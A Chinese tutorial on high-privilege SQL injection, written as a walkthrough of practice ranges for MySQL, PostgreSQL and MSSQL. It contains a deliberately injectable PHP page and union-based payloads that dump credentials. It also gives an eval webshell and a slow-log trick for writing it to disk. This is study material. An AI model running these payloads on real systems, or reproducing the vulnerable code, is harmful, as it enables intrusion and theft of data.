前言:
上一篇文章分析SQL注入漏洞,针对数据库类型以及高权限注入没有完全分析完,这一篇文章接着分析。
不通数据库类型权限操作区分:
Access 无高权限注入点-只能猜解,而且暴力猜解,也可以根据它数据库的特性猜解
MYSQL,PostgreSQL,MSSQL 高权限注入点-可升级读写执行等
MySQL-root高权限读写注入
读取文件:
-
==load_file()==是读取文件函数
读取本地文件示例:
select load_file('c:/1.txt');
从注入点测试示例,测试代码:
<?php
//声明文件解析的编码格式
header('Content-type:text/html;charset=utf-8');
//操作数据库讲数据取出进行展示
$conn=mysql_connect('localhost','root','root');
mysql_select_db('beescms',$conn);
$i=$_GET['id'];//GET请求接受id参数名值给变量i
$sql="select * from bees_article where id='$i'";
$result=mysql_query($sql,$conn); //执行sql语句
while($row=mysql_fetch_array($result)){
echo '<br><br><hr>';
echo $row['id'];
echo $row['content'];
}
?>
测试结果:
说明在高权限条件下可以读取文件
写入文件:
-
into outfile
-
into dumpfile
本地写入命令:
select 'xxx' into outfile 'c:/test.txt';
从测试点注入测试:
虽然好像有个报错,我也不太清楚那是怎么回事(可能是代码的处理问题),但是可以看得在高权限条件下是可以进行文件写入,只要把要写入的内容换成后门代码便可以实现后面getshell的进一步操作
简单后门代码:
<?php eval($_POST[x]);?>
有了文件读取,那么接下来考虑一个问题,就是黑盒测试,怎么判断路径
路径的获取:
-
phpinfo.php
针对phpinfo.php文件,从开发者的角度,有可能是开发网站时测试遗留的;从安全测试人员的角度,可以通过利用写入文件权限写入,也可以通过利用网站的上传漏洞上传phpinfo文件(前提是网站有文件上传漏洞)
-
报错
这可以测试尝试,得网站代码如何,有代码容错处理那种会报错一个异常错误,可能包含路径
-
字典
写入文件阻碍:
无法写入:secure_file_priv 突破 注入中需要支持 SQL 执行环境,没有就需要借助 phpmyadmin 或能够直接连上对方数据库进行绕过
secure_file_priv 限制文件的读写,限制操作路径,比如`secure_file_priv=c:/`
解决方法:
set global slow_query_log=1; //开启慢日志
set global slow_query_log_file='shell 路径';
select '<?php eval($_GET[A])?>' or SLEEP(1);
PostgreSQL-高权限读写注入
这里用墨者的一个靶场演示,靶场链接:https://www.mozhe.cn/bug/detail/86
测试字段:
order by 4 #不报错
order by 5 #报错
and 1=2 union select null,null,null,null
注:这个和mysql注入有区别
测显位:
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误
#得出显位是第 2,3
获取信息:
and 1=2 UNION SELECT null,version(),null,null #获取数据库版本信息 PostgreSQL 9.5.13
and 1=2 UNION SELECT null,current_user,null,null #获取当前用户 postgres
and 1=2 union select null,current_database(),null,null #获取当前数据库 mozhedvcms
获取数据库名:
and 1=2 union select null,string_agg(datname,','),null,null from
pg_database #s所有数据库名:template1,template0,postgres,mozhedvcms
string_agg获取所有,相当于mysql的group_concat()函数
获取表名:
and 1=2 union select null,string_agg(tablename,','),null,null
from pg_tables where schemaname='public' #表名:notice,reg_users
and 1=2 union select null,string_agg(relname,','),null,null
from pg_stat_user_tables #表名:reg_users,notice
获取列名:
and 1=2 union select null,string_agg(column_name,','),null,null
from information_schema.columns where table_name='reg_users' #得到列名:id,name,password,status
获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
最后得到的密码进行md5解密,后登录,注意这里有个小坑,用户名是mozhe1,不是mozhe
补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的):
and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE
如列出当前目录:
and 1=2 union select null,pg_ls_dir('./'),null,null
postgresql注入参考:https://www.freebuf.com/sectool/249371.html
MSSQL-sa 高权限读写执行注入
这里用墨者的一个靶场来演示,靶场链接:https://www.mozhe.cn/bug/detail/90
测列数:
order by 4 #不报错
order by 5 #报错,说明字段为4
测显位:
and 1=2 union all select 'null',null,null,null #无显位
and 1=2 union all select null,'null',null,null #有显位
and 1=2 union all select null,null,‘null’,null #有显位
and 1=2 union all select null,null,null,‘null’ #没显位
获取信息:
and 1=2 union all select null,@@version,null,null #获取版本信息
db_name() 当前数据库名字
user、system_user,current_user,user_name 获取当前用户名
and 1=2 union all select null,@@SERVERNAME,null,null 获取服务器主机信息
and 1=2 union all select null,db_name(),null,null #获取数据库
获取表名:
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null
union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null
获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null
获取数据:
and 1=2 union all select null,username, password ,null from manage
免责声明:本文章涉及的知识和技能仅用于学习研究,如有用于非法途径或未被授权的真实网络环境,所造成的后果及连带责任自行承担,与本文作者无关,倡导把安全知识和技能用于正当、正规、正义的途径。